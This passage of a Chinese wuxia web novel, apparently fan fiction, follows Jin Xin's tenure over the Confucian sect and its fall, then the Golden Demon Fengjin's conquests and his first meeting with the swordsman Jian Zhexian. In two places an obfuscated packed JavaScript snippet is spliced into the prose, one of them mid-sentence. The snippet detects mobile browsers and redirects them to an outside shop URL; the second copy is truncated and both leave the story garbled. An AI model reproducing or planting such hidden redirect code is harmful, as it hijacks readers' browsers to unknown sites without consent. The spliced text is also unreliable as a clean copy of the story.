“师妹,师尊去世,汝吾皆是同样悲伤,但甫经正魔大战,正道人员伤亡惨重,儒教也不可一日无主,吾与汝其他师兄皆资质平平,难当大任,教中长老们也无更好人选。还望师妹与吾等回归儒教,担任掌教,带领吾儒教弟子。”大师兄的话让禁心想到文渊生前也是这般为了正道众人鞠躬尽瘁,本想拒绝的话到了嘴边还是没有说出口。 “兹事体大,还请师兄与众人给吾些考虑的时间,待师尊公祭后吾必会给众人答复。”禁心最终还是没有直接拒绝。 一个月后,儒教广发公函,文渊先生的关门弟子灵渊圣龙?禁谛阐提继任儒教掌教。 2. 明渊于心-2 苦境的时间消逝宛若流水,禁心仍未找到回去自己时空的方法,然而她对术法的研究已经不下许多道门的神棍高人了,她有时也在想自己来到这个时间点是否就是天意,天命还未显现,那便无论如何都回不去。 清早的风带来了一片枫叶,正好落在了禁心的画上,禁心捻起枫叶,随手放在了一边,右手扔执着笔继续作画。 待禁心将画作完成,她才开口道:“来人。”门外随侍的弟子立刻走进书房恭敬行礼:“不知圣者有何吩咐?” “掌教临门,去迎接吧!” “是。” 禁心并未等待多久,小弟子便引着一名身着华贵儒服的年轻男子过来了。 青年一见禁心,立刻躬身行礼,恭敬中带着熟稔与亲昵。 “弟子拜见师尊!” 禁心摆了摆手,让他起来:“涵墨,汝已接任儒教掌教之责,身份贵重,不可再对吾行此大礼。” “师尊此言差矣!师尊不仅是琅邪涵墨的师尊,还是吾儒教圣尊,于情于理,凡儒教之人皆对师尊心怀敬意,吾亦不例外!”琅邪涵墨笑了笑说道。 禁心执掌儒教时间并不太长,还不到两甲子时间。毕竟众所周知她出身魔族,当初接任掌教也是因为当时的儒教人才凋零,她不忍文渊一生心血毁于一旦,这才纠结后勉强同意,而且她自己也心知佛道两方对她执掌儒教颇有微词,交流也是能免则免,只做面子情罢了。 两甲子时间,禁心从儒教弟子中挑了又挑,才挑出来一个最满意的琅邪涵墨收为了亲传弟子并悉心教导,待他能够独当一面便立刻将掌教之位传下,自己则选择了退隐。 “说吧!今日来吾这里有何要事?儒教掌教应该没有这么闲。”禁心准备收起桌上画好的画。 琅邪涵墨走过来熟练地帮禁心收拾书桌,手上动作不停嘴里同时也在说着:“一甲子一次的三教交流大会要开始了,徒儿这次来就是想请师尊作为吾儒教的评委参加交流大会的。” 禁心闻言算了算时间,确实也快到了。禁心手中羽扇轻摇,同时也在考虑到底要不要出席这一届的交流大会。佛道那两边出席的应该还是老熟人,那两人也是文渊那一辈的老牌先天了,琅邪涵墨虽然也步入了先天境界,但到底底蕴不深,怕是压不住那两人,三教交流大会关乎接下来一甲子时间三教的资源分配,所以坚决不能有失。禁心没有多做纠结,此事必须得要她出面才行。 “此事吾应下了!若无其他事便尽快回去吧!” “是!徒儿告退!” 琅邪涵墨初掌儒教,公务繁多确实没有时间再在此逗留,目的达成便直接回转儒教总部。 禁心既然已决定出席此届三教交流大会,便开始联系佛道两方,经过三方讨论,此届三教交流大会举办地点定在了佛教一方的悉达寺。 一个月的时间恍然而过,禁心将事情交托好,准备前往参加三教交流大会。 这三教交流大会,主要参与方为儒道佛三教,但是其他小门派也可以参加,而且并不只限苦境,往年道境玄宗、灭轮皆有精英弟子参加。 因此当禁心刚到悉达寺便看见了一个不想看见的人也并不奇怪。毕竟明溟早已回到道境重建道境与玄宗,如今已是玄宗宗主。 两人之间关系复杂外人难以插手,过往的爱恨情仇虽然随着时间在逐渐变淡,但若说要和好如初怕是永远都不可能,文渊的死永远隔在两人中间,是根拔不出的刺。 没有任何要打招呼的意思,禁心视若无物地与欲言又止的明溟擦肩而过,让接引的小僧带她前往暂住的院落。 后面几日禁心也无其他事做,每日便找个风景不错的地方约一二好友饮茶叙旧。 这一日,禁心正与出身佛教的好友云栖妙心论道,禁心不止精通儒道两教精髓,对佛教经义天生便有着独特的理解,若不是禁心并无出家的意愿,云栖妙心早就渡化她了。 这时,悉达寺的小僧引着一位蓝衣道长路过了此处。禁心一见到这位道士的容貌,便立时心有所感,出言挽留。 “这位道长,还请留步!” 见那位道长闻言止步,禁心自凉亭中步出,拱手见礼道:“见过道长了,吾名禁谛阐提,敢问道长名号?” 蓝衣道长看起来面容十分年轻,但却又不苟言笑,气质冷肃。听到禁心的自我介绍,眼中有一丝讶异闪过,但还是礼貌地回了一礼。 “东武林玉盘山圣灵见过儒教灵渊圣尊。” “圣灵小友多礼了。” 两人视线对上一瞬,圣灵感觉脑中似乎有模糊的画面闪过,但欲仔细探查时却又立刻消失无踪,索性外界只过去一瞬,让圣灵不至于失礼。 而圣灵刚刚那一闪而过的异样已经让禁心知晓他如今并没有文渊的记忆,她心道这也不错,心无挂碍,才能开启一段新的缘分,而他俩过去的缘分已经尽了,她也可真正的放下了。 自这一日起,世上便再无文渊,只余圣灵。 禁心并未留人,问过圣灵姓名,便与他道别,转身回到凉亭内。 云栖妙心看了看她的面色,不由带着笑意恭贺道:“好友内心郁结尽去,想必突破之时指日可待。” “那便承好友吉言了。” 历时一个月的三教交流大赛顺利结束,禁心也告别了几位好友,回到飒风山居便开始闭关。 修真无岁月,禁心闭关已有二十余载,而今日琅琊涵墨再度来到飒风山居外。 “师尊在上,请恕弟子打扰,只因兹事体大,还望师尊降下圣谕。” 密室中的禁心闻言睁开双眼,但却并未收功出关,只传音琅琊涵墨:“发生何事?说来吧。” “副掌教禄闲铮暗中勾结逆教人员,欲夺儒教掌教之位,行动失败被吾一举擒获。敢问师尊禄闲铮该如何处理?” 禁心闻言呼吸一窒,她几位师兄资质有限修为不高早已去世,能称作嫡系弟子的仅剩琅琊涵墨和禄闲铮两人,且禄闲铮还是她大师兄的独子,如今出现这般变故,非是禁心所乐见的。 “他毕竟是你大师伯唯一的血脉,就废除武功,永世幽禁吧。”禁心说完便闭上了双眼不再言语。 “是,弟子遵令。” 禁心本以为事情到这里便算结束,却没想到十年后儒教传来了消息,禄闲铮趁着琅琊涵墨不在儒教之时越狱了。 收到消息的禁心叹了口气,若他禄闲铮以后能够隐姓埋名不再生事,琅琊涵墨本质上也非是赶尽杀绝之人,只怕他心有不甘被野心蒙蔽双眼,那么琅琊涵墨为了儒教声誉必会狠下心来以绝后患。 这件事禁心已经不准备插手去管了,只传信给了琅琊涵墨让他自行决断,不必再回禀后续了。 闭关五十载,禁心顺利突破,修为可堪与许多老牌先天相比,一身龙气圣洁无比,不见丝毫阴霾,只因禁心谨守本心,绝不犯下杀戮恶孽,周身不沾业力,若禁心能一直坚持这般修行法门,脱龙胎登神界也只是时间问题。 一日,弟子来禀,说是道门一位前辈送来一封拜贴。 禁心接过先一看落款,没想到竟然是圣灵,自当年在三教交流大会两人互通了姓名,这些年里两人并没有来往,何以他今日突然送来拜贴呢? 禁心不再猜测,直接拆开看信。 圣灵信中写的不是很详细,仅大体说了一下他的一名道门好友意外中毒,需要禁心的帮忙,明日他会来拜访禁心并将详情告知。 “需要吾帮忙?圣灵啊圣灵,你不该如此了解吾啊!”禁心思绪一转无奈叹了口气,但还是将信收了起来,并指示弟子明日圣灵来访时直接将人带入即可。 第二天一早,禁心刚刚结束一晚上的打坐,便得到了弟子的禀报说圣灵已经来了。 禁心理了理自己有些凌乱的头发,又换了一身衣裳,看自己没有任何失礼之处,这才前往前厅,与圣灵会面。 “圣灵道长,抱歉,让你久等了。”禁心手中羽扇阖于胸前微微躬身。 “不敢,灵渊圣尊折煞晚辈了!”圣灵见状立刻站了起来,抬手准备一揖到底。 禁心却是手中羽扇拖住圣灵双手,不让他行礼,两人视线相交僵持半晌,圣灵终是无奈放下双手。 “圣灵道长来访的目的,吾虽看了拜贴,但其中有不少隐晦之处,道长可否明说?”禁心于主位坐下这才开口询问。 “还请尊者海涵,只因此事事关三教隐秘,干系甚大,晚辈不便写于明面之上。”圣灵面带歉意说道。 “无妨,对吾直说便可。” “此事实际上是与逆教势力有关,自三教兴盛,逆教势力便已存在,只不过一直潜藏台面之下。三教自三甲子前的正魔大战便元气大伤,此消彼长之下,逆教势力空前膨胀,暗中侵蚀三教,三教内上至高层下至仆役皆有可能被逆教吸收策反。”说到这里圣灵停了一下。 禁心一听到事关逆教,手中轻摇的羽扇也忍不住一停。她想到了越狱而出的禄闲铮,若教内无内奸存在,修为全废只是个普通人的禄闲铮如何能轻松越狱! “请继续。” “是!吾有一名好友玄微子乃是道教长老之一,日前他于自家道场被自己的嫡传大弟子下毒暗害,幸好玄微好友功力深厚压下毒素,及时将叛逆击毙,事后他在叛逆身上搜到了他与逆教人员往来联系的密信,我们这才知道逆教势力竟然已经渗透到如此之深。” “嗯…此事吾知晓了。若要联合儒教共抗逆教,道教高层想必会亲自上门,那道长来寻吾又是所为何事呢?” 圣灵闻言也不避讳,直言道:“贫道此行实则是为玄微好友所中之毒。” 禁心羽扇半遮面,同样直言不讳:“但是吾并不擅医毒之术啊!”擅长的人只有文渊。 “前辈多虑了,好友之毒晚辈已有解方,但却无解药。” “嗯?如何说?” “解方内其他药材都好找,唯有两样晚辈遍寻不得,一者圣龙血,一者慈悲泪。”圣灵解释道。 “奥~所以道长此行是为圣龙血。但是,吾又为何要帮这个忙呢?”禁心明显是在故意为难圣灵。 “这……只要前辈愿意相助,圣灵但凭前辈差遣,绝无二话。” 禁心考虑了一下,突然问道:“道长是否已收徒?” 圣灵不知她为何要问这些无关之事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743109|189740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但还是如实回答:“未曾。” 禁心微不可查地皱了下眉,又问道:“玄微道长的毒患还能压制多久?” “一月。” “很好,那吾的要求便是,一月之内,你圣灵收下至少一名亲传弟子,圣龙血吾便予你。” “前辈,你……”圣灵听闻禁心的要求面色立时一白正欲拒绝,却还未等说出口便被禁心打断。 “圣灵道长,吾仅有这一个要求,你确定要拒绝?” “晚辈……晚辈……同意……” 禁心步步紧逼,圣灵内心如何不知,她是在强逼自己放下,心有执念挂碍,面对逆教大势,他如何能全心投入平叛之战。 圣灵回到玉盘山,细细盘算起来,圣龙血已有希望,而剩下的慈悲泪,道教那边也在求助佛教一方。 “唉……禁心汝实是在为难吾…” 考虑几日,圣灵终是决定选择好友玄微子的幼子收为亲传弟子,并邀请禁心来参加他的收徒典礼。 圣灵的收徒典礼来人不多,包括禁心在内也就五位好友,典礼虽不隆重,但也严谨正式。 典礼刚刚结束,圣灵正欲寻禁心说话,便见她收到一封飞书后面色骤变,不待知会一声便立刻化光离开。 圣灵心中不安蹿升,只得尽快送走几位好友,交代好弟子事情后,便立刻去追禁心。 另一边,禁心收到的正是琅琊涵墨的求援信,儒教总部被以禄闲铮为首的逆教势力偷袭,反应不及之下已经损失惨重,虽琅琊涵墨同时也向其他儒教分支求援,但远水解不了近渴,禁心只能全力赶路,希望能够及时救援。 急急急!为儒教众弟子性命,也为自文渊手中承接的儒教教统,禁心不吝真气消耗,一路化光回返。 终于,禁心赶回了儒教总部,只听内中静默一片,禁心心下一痛,她知道自己还是迟了。 这时,细微的刀兵声传入禁心耳中,禁心立刻赶往声音传来之处,希望还能救下几人。 “琅琊涵墨,今日便是汝之死期!”禄闲铮狂妄之言刚落,利剑偷袭穿心而过,琅琊涵墨含恨身亡。 倏然目睹爱徒身亡,禁心乍怒乍悲,十成功力聚于掌下,然而就在禄闲铮即将掌力袭身之力,禁心终是收回五成掌力,对禄闲铮伤而不杀。 “哈哈哈哈!圣尊师叔啊!你作为不杀之人,如今还能坚持你的不杀原则吗?哈哈哈哈哈!” 禁心见禄闲铮神色疯癫,即使重伤呕红,仍不见悔悟。逆教人员已将总部弟子灭尽,正朝这里聚集。 “禄闲铮,你等逆教党羽实在罪无可恕!”禁心怒急,手中羽扇扬起化做一把古琴落于身前。 清冷琴音响起,逆教众人只觉脑中杀意逐渐消失,随着琴音深入脑海,竟连一丝情绪波动也无法产生,一曲琴曲奏毕,逆教众人再无一丝自我,宛如假人傀儡。 儒教总部外不远处,有两方儒教分支收到消息前来支援,一方乃是太学主带领的学海无涯,另一方则是皇儒无上带领的德风古道。 两方首领只晚禁心一步,然而却是在禁心的琴声响起后立刻率领众弟子退出了儒教总部范围,并以自身的超绝修为护住麾下弟子,免受禁心琴音的影响。 “今日吾禁谛阐提便以此《神儒玄章》终结尔等恶孽!”语落,一滴眼泪滑落禁心手心。 “慈悲泪……呵呵,没想到竟是出自吾身?《神儒玄章》本质灭七情绝六欲,受此琴曲影响者,皆如行尸走肉,已不能称之为人。而创此琴曲的吾慈悲吗?何等可笑!” “好友灵渊初心为善,不忍杀人,为何不能称之为慈悲。”太学主点风缺自外步入,听见禁心自嘲不由纠正道。 “太学主虽说的不错,但《神儒玄章》过于极端也是事实,望好友以后谨慎使用。”皇儒无上蔺天刑也跟随进入。 文渊托付的儒教一夕被灭,爱徒身死,禁心只觉心灰意冷,两位好友的安慰也不曾让她有所起色。 “圣尊前辈…这……”这时圣灵也赶到了此地。 听闻圣灵的声音,禁心终于强打起了精神,走向圣灵。 禁心摊开手心,慈悲泪宛如一颗宝珠灿灿生辉。 “慈悲泪,也交你了!圣龙血吾早先作为你的收徒贺礼送你了,你吾约定已成!” 圣灵收下慈悲泪,但禁心此时的异样他如何看不出来,不由关心:“前辈…” 禁心抬手止住他继续言语,反而说道:“既已转世,便不再是前世的那人了,天赐新生便再结新缘吧!再会!” 说完,禁心一步一步离开在场几人的视线,没有留恋,没有犹豫,她本非此世之人,是文渊维系着她与此世的联系,如今枷锁尽除,禁心心中只余回家一事了。 一年后,德风古道,昊正无上殿。 蔺天刑看着手中的《神儒玄章》琴谱,只觉是个烫手山芋,但又不能随便扔了。 “好友啊,你可真是会给吾找麻烦!唉…吾真是交友不慎。” 五年后,道教圣灵道长在逆教之祸中大放异彩,被道教众人尊称圣灵尊者。 而儒教的灵渊圣尊禁谛阐提自儒教总部被灭后便再无音信。 3. 每次睡醒都发现情缘在揍人-1 苦境地大物博,除了人类之外,还有许多非人的种族生存在这片大地的各个地域,而有一个少有人知晓的由妖、魔、邪三界共存的异域,名为“冥界”。 冥界之内魔界以天魔族实力最为强大,建立天魔族的天魔实力强劲,为人开明又重情义,极受麾下众魔尊崇。 妖界有一支分支名为花凋妖族,此族多为花木妖,并以神花树为尊,神花化而为人身,被族人尊为开世花王。 花凋族族人皆是骁勇好战,时常与妖族其他支脉因为地盘之故兴起兵戎。而与花凋族毗邻接壤的天魔族也在征战魔界之中,两族边界虽偶有摩擦,但冲突还未上升到要交战的地步。天魔与开世花王同为混沌王者之一,早有交集,相互之间也算心知肚明,于是都有意使两族结盟,以绝后顾之忧,于是在两人一次暗中会面后,两族结盟联姻相约永世和平共存。 在开世花王的命令下,花凋族地位仅次于花王的圣女司嫁与天魔为妻,深恋圣女司的花凋族首相金叶一品携着唯一一枚开世花王令追随圣女司一起来到天魔族,并改名白无垢,受天魔重用,被奉为魔界首席军师。 两族联姻不久后开世花王的身体每日俱下,没过几月便缠绵病榻,花期将尽,与此同时作为花王本体的神花树也发生了异变,原本诞生出花王的神花花苞竟莫名结出一颗果实,这颗异果除了妖气还源源不断地散发着异于花凋族的魔气。 新近提拔的佐王相兰镶玉笔不敢耽搁,立刻将此异状禀报给开世花王。 “兰镶,扶吾前往神花树处。”开世花王神色憔悴,但对于异果的存在却并不意外,显然是早便知晓。 兰镶玉笔支撑着花王虚弱的身体来到神花树下。 “先退开吧。”花王推开兰镶玉笔示意他远离。 “是,花王。” 开世花王拖着病体,却仍是勉强抽取体内生机注入异果之内。 “花王!”兰镶玉笔见状不由担忧出声。 “兰镶,安静。”花王不为所动,持续为异果催熟。 不过一个时辰,异果便由拳头大小成长至西瓜大小,并散发出阵阵诱人香味,引来不少魔兽于暗中垂涎贪婪。花凋族人因为没有花王的命令不敢靠近神花树所以并没有闻到这股异香。 突然,异果的香味宛如幻觉一般消失无踪,花王体内的生机被消耗一空,满头灿烂的金发已变得雪白干枯。异果晃动两下后从神花树上脱落而下,落入花王怀中。白光一闪而过,异果已经变为一名熟睡着的婴儿,婴儿的小手中还紧紧攥着一棵不知品种的芽草,这便是他的本命树。 “花王!这是…少主?”兰镶玉笔语气中有些犹疑,毕竟婴儿周身的魔气在他这般修为的妖眼中宛如太阳一般显眼。 花王此时已至油尽灯枯之际,即便靠着神花树,也忍不住滑落在地,但是抱着婴儿的双手却是毫不动摇。 “吾子…不能留在花凋族,兰镶。将他送去天魔族…”花王强撑着自己下了此生最后一个命令。 “天魔族?!少主是天魔的子…”兰镶玉笔话未说完就被花王打断。 “嘘…告知圣女司与金叶一品…此生…是王对不起他们…但还是要…拜托他们将少主…好好教导…养……大……”话音逐渐低落,象征着花王的花期也终于走到了尽头。 “花王啊!兰镶必不负花王遗命,将少主安全送至天魔族!” “花王驾崩了!花凋族人听令,封锁花凋谜境,重开神花祭,静待花王重归!”如今花凋族的主心骨只剩佐王相兰镶玉笔一人,花凋族人毫无异议听令行事,召回在外的族人,打开结界封闭了整个花凋谜境,没有佐王相手令,无人可以随意进出花凋谜境。 花凋妖族与其他妖族不同,并不依赖进食延续生命,只要有阳光与水便能健康成长,因此花王之子虽然是个婴儿但很好带。兰镶玉笔将花凋族的事情都处理好后,回到花神殿,花王之子此时已经苏醒,正睁着眼睛看着花神殿内的各种摆设,嘴里还不忘啃着自己的小手。 彼时还是少年的兰镶玉笔看着少主天真可爱的模样心头柔软,将他抱在怀里,带着他在花神殿四处散步,嘴里还时不时说几句,这是先王最喜爱的花瓶,还有什么先王最爱在这扇窗下晒太阳。 花王之子的本命树已被兰镶玉笔种在了花盆里,放在阳光最好的位置,如今看起来生机勃勃长势喜人。兰镶玉笔抱着少主站在他的本命树前,一时无言,最后还是叹了口气。 “纵有千般疑虑万般不舍,还是该执行先王遗命的时候了。” 天魔有后在天魔族无疑是值得大肆庆贺的喜事,底层魔族都以为少主乃是花凋族圣女司也就是如今的魔族圣母所生,仅有几名高层才知道事情的真相。 圣女司本与首相金叶一品互有情谊,但为了花凋族与天魔族未来的长久和平,毅然决定放弃私人情感,听从王令与天魔联姻,却不想新婚当日才知道,天魔真正心系的那个人竟然是开世花王,因他们各自的身份与责任,两人终究有缘无分,天魔心灰意冷之下才答应了与圣女司联姻。 新婚之夜变成了这对名义夫妻两人的谈话之夜,互相无意的两人默契地达成了约定,两人表面上做夫妻,私下里做兄妹,圣女司必会不负魔族圣母的职责为魔族效力,也为两族的和平共处尽力,而天魔也会在众人面前与她相敬如宾,同时也不会干涉她与白无垢的私下交往。 也是因此,当兰镶玉笔传信给圣女司有关花王与天魔之子的事情后,圣女司立刻将这件事告知了天魔。天魔得知开世花王驾崩而且他给自己生了个孩子这件事,一时间百感交集,既是悲痛又是喜悦,随后立刻命令刀剑双魔暗中前往两族交界的地方接少主回家。 “星仔啊,虽然我早就感觉天魔和开世花王总是眉来眼去关系不单纯,但是没想到他们真的就搞出人命了喂!天魔不愧是天魔啊!”即便正是在赶路,剑魔傲神州也忍不住跟他的好兄弟八卦老大的情感故事。 专心赶路的刀魔星野残红本来不想搭话,但这件事他其实心底也很震惊,所以还是忍不住也说道:“当初天魔同意与花凋族联姻,我还以为是他与花王,没想到最后是圣母嫁过来,但是天魔心悦花王是众兄弟人尽皆知的事了。” 半天后两人赶到了地方,接过了少主与他的本命树,立刻赶回了魔族。 为了不让圣母身份尴尬,也为了爱子的安全,天魔宣称此子乃是圣母所生,是他名正言顺的继承人,魔族的未来魔主。同时封首席军师白无垢为太师,待少主长大,便可履行太师职责教导少主。 天魔为爱子取名旖霜凤锦,因出身神花树的缘故,凤锦其实并无固定的性别,他拥有男性和女性两种形态,天魔因此又给他取了个小名花锦。至于魔族众人则普遍尊称他为金魔,既有他一头极为美丽的金发的缘故,也是意指他在众魔心目中之地位尊崇。 爱人已去,仅留下两人的孩子,天魔虽知开世花王未来还会重生归来,但仅在此时,他仍免不了对他们的孩子心怀愧疚过于小心呵护了。凡是有关凤锦之事,绝不假于他人之手,只有实在不得不离开的情况下,才会将他送至圣母处代为照顾。 时光流逝,凤锦已经长大到了十来岁的年纪,不知是天魔多年无底线宠溺,还是军师白无垢多年的言传身教,总之凤锦就是不知道为何突然就长歪了,既没有继承开世花王的风光霁月,也无元初天魔的重情重义。简单来讲就是个野心不小但还记得表面上做点伪装的少年人,不过野心一词在魔族众人看来却是无伤大雅,反而未来可期。 “花锦!”威严又慈爱的声音在身后响起。 凤锦惊喜地转过身,扑进来人的怀里。“魔父你回来了!” “是,本座回来了,花锦你这两个月可有听圣母的话,好好学习?”天魔摸了摸凤锦的头顶慈爱地问道。 “有啊!锦一直有听义母的话。”凤锦自神花树降生便拥有记忆,所以他很早就知道他的母亲是神花树化身的开世花王而不是圣母,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魔界易主不止在魔界是件大事,在冥界造成的震动亦是不小。先不提魔界内失去天魔压制的各个魔脉首领正蠢蠢欲动,便是魔界外的妖族各脉之主与邪能境之主也多了不少小心思。 旖霜凤锦其人非是表面看起来的温和无争,他之野心可非仅限于魔界,而是想要一统冥界,让这偌大的冥界由天魔一脉当家做主。 既然内外皆是不稳,旖霜凤锦索性玩了把大的,利用魔族之人同仇敌忾的天性,先联合魔界各族与邪能境联手攻打妖族,这场战役持续了整整半个月,最终以妖族退居偏僻山野自封求和,打下的妖族地界皆被邪能境与魔界瓜分。 魔界战将现今基本分为两种,一种是曾经天魔的直系手下,如今已宣誓忠于金魔旖霜凤锦。这些人暂时以火魔?半天焱为首,占据如今魔界战将的五分之三,剩余五分之二则是心怀不轨者,但因互相都无法信任,所以暂时还没有一个共同的首领,只是对玄都谕令阳奉阴违。 旖霜凤锦可不是好脾气的人,早已为这些墙头草决定好了结局,为魔界捐躯想必是能够让后嗣自豪永世的荣耀吧。 “火魔听令,率军突袭邪能境主城。军师传信联军前线,令其阻拦邪能境军队回防。” 半天焱、白无垢:“是!” 与邪能境组成联军攻打妖族的魔界战将可都是经过旖霜凤锦精挑细选过的人选,只要魔界反水偷袭邪能境的消息传入前线,也不怕他们不全力阻拦以求生。 “哈!但看你们能活下来几人吧!”玄魔宫内旖霜凤锦端坐于王座之上,一身绛紫华服更衬得他那超脱于男女性别之上的容颜美得摄心夺魄。 王座之下,众臣皆是垂目束手各自敛神不敢抬头。 三天后,捷报传回,现任邪能境之主败于半天焱之手,主动求和,放弃妖族领地。 此一战,魔界大获全胜,内外隐忧尽消,金魔之名震动整个冥界。 4. 每次睡醒都发现情缘在揍人-2 自魔妖邪三方相约停战,魔界作为最大得利者,所据之地占了整个冥界的三分之二,旖霜凤锦在底层魔族之中的声望也是空前高涨。 作为天魔之嗣,金魔的修为虽还差着天魔不少,但是作为魔界魔主,他之心性手段皆是不俗,堪称狠辣。短短时间之内,便将朝堂上下牢牢地攥在了掌中,再无一人敢生异心。 白无垢见此终于放下心来,与圣母一同退隐凉心居,而玄都金魔的统治下再无掣肘。 光阴辗转十数载,魔界统治之下一片欣欣向荣,旖霜凤锦也放松了一些对于手下的控制,花了更多的时间在于修炼之上,幸而他天赋超绝,按部就班修炼不到四十载便已入后天巅峰,只需明悟已心便能踏入先天之境。 “接下来的一段时间,本王要闭关修炼,王朝之事便由左相右相和大将军三人协同处理。遇事不决,可寻军师白无垢。” “尊金魔谕令!” 命令下达,无人有异议,旖霜凤锦前往魔界禁地同时也是天魔族旧址,天魔录被他置于此地以结界掩藏。 旖霜凤锦挥手解除结界,收走了天魔录。他本意便不是闭关修炼,而是准备离开冥界前往中原地界。冥界内部如今妖族与邪能境皆自封不出,魔界若想扩张势力,只好掉头转向中原这方。 旖霜凤锦此回前往中原游历,虽有寻迹突破的意思,但更多是想了解如今中原武林有何势力,唯有知己知彼才能百战不殆。 为隐藏身份,旖霜凤锦决定以女体行走武林并以花锦为名,却不知晓这一回,她将遇到那个会与她生生世世纠缠不清的人。 花锦沿着西武林来到中原,在靠近南武林的地方找了个人烟稀少的山谷作为暂时的落脚点。 花锦手执一枝半开放的异花,而这正是她的本命花树所化。花锦抬手摘下一片细叶甩至地底,同时引动地脉灵气,细叶吸收了灵气后,立刻生机暴涨,扎根于地脉之中,灵气吞吐间已发嫩芽并破土而出,不过一柱香的时间,小小树苗已长至花锦小腿高。 而原本枯败的山谷此时已是宛若逢春一片绿意生机盎然,遍地开满了蓝色的鸢尾花,一阵清风吹过,宛若一只只展翅欲飞的蓝色蝴蝶。 “嗯……这样便好,此地便叫涵茵谷吧。”花锦由神花树诞生,也同样喜爱各种花木,看到这一幕满意地暗自点了点头。 又过了两日,花锦找来工匠在涵茵谷内建了一栋小楼,以做平时休憩之用。 虽然有了暂时落脚的地方,但是花锦留在涵茵谷的时间却并不多,平时多在武林中走动,探听各种消息。 又是一个多月没有回去,然而这次回到涵茵谷,却给花锦带来了一个小小的惊喜。 漫山遍野的鸢尾花丛中突然多出了一个金发的小朋友,一边揉着眼睛,一边还带着哭腔嘴里嘟囔不停。 “臭阿兄!坏阿兄!不让吾出门吾偏要出,吾再也不要理阿兄了!呜~肚子好饿~” 花锦闻到一股淡淡的月桂香味自那个小朋友方向飘来,又见他与自己如出一辙的金发,不由心生好感。 花锦轻轻走到小朋友的身后,伸手戳了戳他的后脑勺,同时开口问他:“小桂花,你怎么离家出走了?” 小朋友似乎是被突然出声的花锦吓了一跳,扭头看到身后有人忍不住向后仰倒。 花锦低笑了一声,及时揽住小朋友的肩膀,将人护到怀里。 月无缺自幼父母早亡,是兄长一个人将他拉扯到这么大,他还从来没有和女性有过这么亲密的接触。如今被花锦揽在怀里,鼻尖里满是大姐姐身上好闻的异香,月无缺忍不住耳尖泛红,心里忍不住在想,或许这就是阿娘的感觉了吧!羞涩但又忍不住在花锦怀中蹭了蹭。 “小桂花,怎么被锦吓到了?”花锦见月无缺半天都没反应,主动将他拉开,就见小朋友满脸通红低着头就是不肯抬起来。 花锦心思细腻,如何看不出月无缺现在的窘迫,她倒没继续调侃小朋友,反而问道:“锦刚刚听到你好似在说肚子饿了?锦的住处便在不远,不如让锦请你吃饭,就当为刚刚吓到你道歉如何?” 月无缺虽然年纪不大,但是毕竟是离家出走,基本的警惕心还是有的,他本是想拒绝,奈何这个大姐姐实在太好看了,他已经在心底成功说服了自己相信大姐姐不是个坏人。 “多谢大姐姐。”月无缺有些羞涩地跟花锦道了谢。 “无妨,就在前面不远,咱们走吧。”花锦拉着月无缺的手一边往回走,一边介绍自己。“姐姐名叫花锦,小桂花你可以唤吾锦姐姐。” “锦姐姐,你不要叫我小桂花,我有名字,叫做月无缺。”月无缺嘟了嘟嘴不满地抗议道。 “月无缺…想必你的家人十分爱重你,希望你的未来幸福圆满。” “呃……嗯……可能吧。”月无缺该怎样说他的兄长其实是个控制狂呢? 花锦自小被天魔众人娇养长大,她可不会什么厨艺,不过回来前有在城镇上买许多她爱吃的糕点,如今只能拿糕点给月无缺填饱肚子了。 “填饱了肚子,小无缺,你是不是应该乖乖回家了?”花锦手掌托腮就看着月无缺一个人吃完了整整一碟的绿豆饼。 只见月无缺拧了拧自己的手指,犹豫又气愤,半天才低声说:“阿兄回去看我不在家,他会找来接我的。” 花锦闻言伸手轻轻点了点月无缺的额头,“真是个小朋友,仗着你兄长能找到你,就敢一个人跑出来,万一遇到坏人怎样办?你兄长如何来得及救你?下次不准偷偷跑出来了,知道了吗?” 月无缺被刚认识的漂亮大姐姐按头一顿教育,忍不住情绪低落,但最后还是不甘不愿地答应以后不会乱跑了。 “小无缺既已知错,朋友你是否也该出来了?”花锦视线扫向窗外树后,口中意有所指。 月无缺跟着花锦转头望向窗外,只见一名身着蓝衫的黑发青年从树后走了出来。 花锦早便知晓此人来到,毕竟涵茵谷内所有的植物都是她的眼线,不过可能是因为他来的时候花锦正在对着月无缺说教,所以他便躲在了一旁没有现身。 植物虽然可以为花锦传递消息,但却不会直接传递画面,直到青年现身出来,她才看到那人的相貌。虽说不如她自己男体过于精致美艳,但却有着与众不同的清俊冷冽,花锦在魔界生活多年却是从来没见过拥有这种气质的男子,忍不住多看了他一会儿。 没想到来人面上虽是清冷,实际上却在花锦的视线下隐隐耳垂微红。 “在下剑谪仙,吾弟无缺叨扰姑娘了,还望姑娘海涵。”青年挪步走进屋内立刻对着花锦拱手道谢。 “谪君多礼了,小无缺与锦十分投契,谈不上叨扰。”花锦水袖半掩着唇,遮住了嘴角的那一丝算计。 “今日天色已晚,吾兄弟二人不便多待,明日吾再带无缺来拜访姑娘,正式感谢。锦姑娘,请了。” “谪君,请。” 兄弟两人越走越远,月无缺安静许久后终于开口:“阿兄,你借口真差!” 剑谪仙忍着脸颊上的热度,抬手给了月无缺一个脑瓜崩儿:“离家出走的人不准顶嘴!” “哼!” 别扭又温情的两兄弟并不知道,他们的对话早已传入花锦耳中,而这名女子也有意与剑谪仙相交,至于内中本意则是见仁见智了。 